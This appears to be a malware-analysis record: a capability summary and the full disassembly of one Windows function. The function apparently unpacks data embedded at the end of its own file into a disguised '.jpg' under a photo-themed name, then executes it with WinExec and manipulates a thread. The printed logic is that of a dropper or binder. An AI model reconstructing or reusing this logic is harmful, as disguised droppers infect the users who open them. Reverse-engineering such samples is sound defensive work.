Function at 0x401015
Capabilities:
Create process on windows
Create thread
Get common file path
Resume thread
Suspend thread

Disassembly:
mov dword [0x4040e4], 0x14
add esp, 0xffffffe4
push ebx
push ebp
push edi
push esi
push 0x15
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [0x4040d4], eax
mov eax, dword [0x4040e4]
sub eax, 0xfffffffe
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push str.USR_Shohdi_Photo_USR
mov dword [0x4040fc], eax
push dword [0x4040d4]
call sub.MSVCRT.dll_strcpy
mov esi, 0x4040dc
push 0x404044
push esi
call sub.MSVCRT.dll_strcpy
push 0x404040
push 0x4040e0
call sub.MSVCRT.dll_strcpy
push dword [0x4040d4]
push dword [0x4040fc]
call sub.MSVCRT.dll_strcpy
push 0x40403c
push dword [0x4040fc]
call sub.MSVCRT.dll_strcat
mov eax, dword [esp + 0x60]
mov edi, 0x12c
push edi
mov dword [0x4040d8], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push edi
mov dword [0x4040f4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push edi
mov dword [0x4040ec], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push edi
mov dword [0x4040f0], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
sub esp, 0xffffffc0
mov dword [0x4040f8], eax
push dword [0x4040ec]
push dword [0x4040f4]
call fcn.00401f20
push dword [0x4040f4]
call sub.MSVCRT.dll_strlen
add esp, 0xc
xor ebx, ebx
mov ecx, eax
mov eax, dword [0x4040f4]
cmp byte [ecx + eax - 1], 0x22
jne 0x401112
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [0x4040f4]
mov byte [eax + ecx - 1], bl
push dword [0x4040ec]
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, eax
mov eax, dword [0x4040ec]
cmp byte [ecx + eax - 1], 0x22
jne 0x40113d
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [0x4040ec]
mov byte [eax + ecx - 1], bl
push edi
push dword [0x4040f0]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
push dword [0x4040f8]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x3e8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
push dword [0x4040f4]
push edi
call sub.MSVCRT.dll_strcpy
sub esp, 0xfffffff4
push esi
push edi
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [eax + edi - 3]
push eax
call sub.MSVCRT.dll_strcpy
push edi
call sub.MSVCRT.dll_strlen
add eax, dword [0x4040ec]
push eax
push edi
call sub.MSVCRT.dll_strcat
push dword [0x4040f4]
call fcn.004019c4
add esp, 0x18
push 1
pop esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [0x4040d4]
mov edi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push esi
push ebx
call edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4013b2
push 0x1f4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f4]
mov ebp, eax
mov dword [esp + 0x2c], ebp
call fcn.00401b5c
push dword [0x4040f0]
mov byte [esp + 0x3c], al
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push ebp
call sub.MSVCRT.dll_strcat
push str..jpg
push ebp
call sub.MSVCRT.dll_strcat
push 0x58
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
sub esp, 0xffffffd4
mov edi, eax
add esi, 0x7f
cmp edi, ebx
je 0x401251
mov ecx, edi
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
push dword [eax]
push esi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::constructor_char_const___int__int_]
mov dword [edi + 8], 0x4030f4
mov dword [esp + 0x20], edi
jmp 0x401255
mov dword [esp + 0x20], ebx
push 0x5c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
cmp edi, ebx
pop ebp
je 0x401284
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
mov ecx, edi
push 1
push dword [eax]
push esi
push dword [0x4040f4]
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::constructor_char_const___int__int_]
mov dword [edi + 0xc], 0x4030f0
jmp 0x401286
xor edi, edi
cmp byte [esp + 0x30], bl
mov esi, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::read_char___int_]
push 2
push 0xfffffffffffffff8
je 0x4012c0
pop eax
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
mov ecx, edi
sub eax, dword [0x4040e4]
push eax
call ebp
mov ecx, edi
lea eax, [esp + 0x10]
push 4
push eax
call esi
push ebx
mov eax, dword [esp + 0x14]
add eax, 0xfffffff8
push eax
mov ecx, edi
jmp 0x4012c8
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
mov ecx, edi
call ebp
lea eax, [esp + 0x10]
mov ecx, edi
push 4
push eax
call esi
mov ecx, edi
push ebx
mov eax, dword [esp + 0x14]
sub eax, 8
push eax
call ebp
mov ecx, edi
lea eax, [esp + 0x10]
push 4
push eax
call esi
lea eax, [esp + 0x14]
push 4
mov ecx, edi
push eax
call esi
mov ecx, edi
push ebx
push dword [esp + 0x14]
call ebp
mov eax, dword [esp + 0x14]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
pop ecx
mov ecx, edi
push dword [esp + 0x14]
push ebp
call esi
push dword [esp + 0x14]
mov esi, dword [esp + 0x24]
mov ecx, esi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_class_ostream____thiscall_ostream::write_char_const___int_]
mov ecx, edi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::close_void_]
mov ecx, esi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::close_void_]
cmp edi, ebx
je 0x40134c
mov eax, dword [edi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + edi]
mov eax, dword [eax + edi]
call dword [eax]
cmp esi, ebx
je 0x40135f
mov eax, dword [esi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + esi]
mov eax, dword [eax + esi]
call dword [eax]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov dword [esp], 0x3e8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esp], str.start
mov esi, eax
push esi
call sub.MSVCRT.dll_strcpy
push dword [esp + 0x2c]
push esi
call sub.MSVCRT.dll_strcat
sub esp, 0xfffffff0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [esp + 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
xor eax, eax
pop edi
pop ecx
pop esi
pop edi
pop ebp
pop ebx
sub esp, 0xffffffe4
ret 0x10
push dword [0x4040fc]
push esi
push esi
push ebx
call edi
push 0x1f4
mov dword [esp + 0x18], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f4]
mov ebp, eax
mov dword [esp + 0x28], ebp
call fcn.00401b5c
push dword [0x4040f0]
mov byte [esp + 0x3c], al
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push ebp
call sub.MSVCRT.dll_strcat
push 0x404020
push ebp
call sub.MSVCRT.dll_strcat
push 0x58
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov edi, 0x80
add esp, 0x2c
cmp esi, ebx
je 0x401443
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
push dword [eax]
push edi
mov ecx, esi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::constructor_char_const___int__int_]
mov dword [esi + 8], 0x4030f4
mov dword [esp + 0x24], esi
jmp 0x401447
mov dword [esp + 0x24], ebx
push 0x5c
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop esi
mov esi, eax
cmp esi, ebx
je 0x401476
mov eax, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
push 1
mov ecx, esi
push dword [eax]
push edi
push dword [0x4040f4]
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::constructor_char_const___int__int_]
mov dword [esi + 0xc], 0x4030f0
jmp 0x401478
xor esi, esi
cmp byte [esp + 0x30], bl
mov edi, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::read_char___int_]
push 2
push 0xfffffffffffffff8
je 0x4014b2
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
mov ecx, esi
pop eax
sub eax, dword [0x4040e4]
push eax
call ebp
lea eax, [esp + 0x18]
mov ecx, esi
push 4
push eax
call edi
push ebx
mov ecx, esi
mov eax, dword [esp + 0x1c]
sub eax, 8
push eax
jmp 0x4014ba
mov ecx, esi
mov ebp, dword [sym.imp.MSVCIRT.dll_public:_class_istream____thiscall_istream::seekg_long_int__enum_ios::seek_dir_]
call ebp
lea eax, [esp + 0x18]
push 4
mov ecx, esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x1c]
push 4
push eax
call edi
push ebx
mov ecx, esi
push dword [esp + 0x1c]
call ebp
mov eax, dword [esp + 0x1c]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
pop ecx
push dword [esp + 0x1c]
push ebp
mov ecx, esi
call edi
push dword [esp + 0x1c]
mov edi, dword [esp + 0x28]
mov ecx, edi
push ebp
call dword [sym.imp.MSVCIRT.dll_public:_class_ostream____thiscall_ostream::write_char_const___int_]
mov ecx, esi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ifstream::close_void_]
mov ecx, edi
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::close_void_]
cmp esi, ebx
je 0x401526
mov eax, dword [esi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + esi]
mov eax, dword [eax + esi]
call dword [eax]
cmp edi, ebx
je 0x401539
mov eax, dword [edi]
push 1
mov eax, dword [eax + 4]
lea ecx, [eax + edi]
mov eax, dword [eax + edi]
call dword [eax]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push dword [esp + 0x18]
call edi
test eax, eax
jne 0x40155d
push 1
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WinExec]
push dword [esp + 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
pop ecx
lea eax, [esp + 0x28]
push eax
push ebx
push ebx
push 0x401999
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
push ebx
push ebp
call edi
or eax, eax
je 0x40156d
push 0x64
call esi
push ebp
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x384
call esi
push ebp
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x401587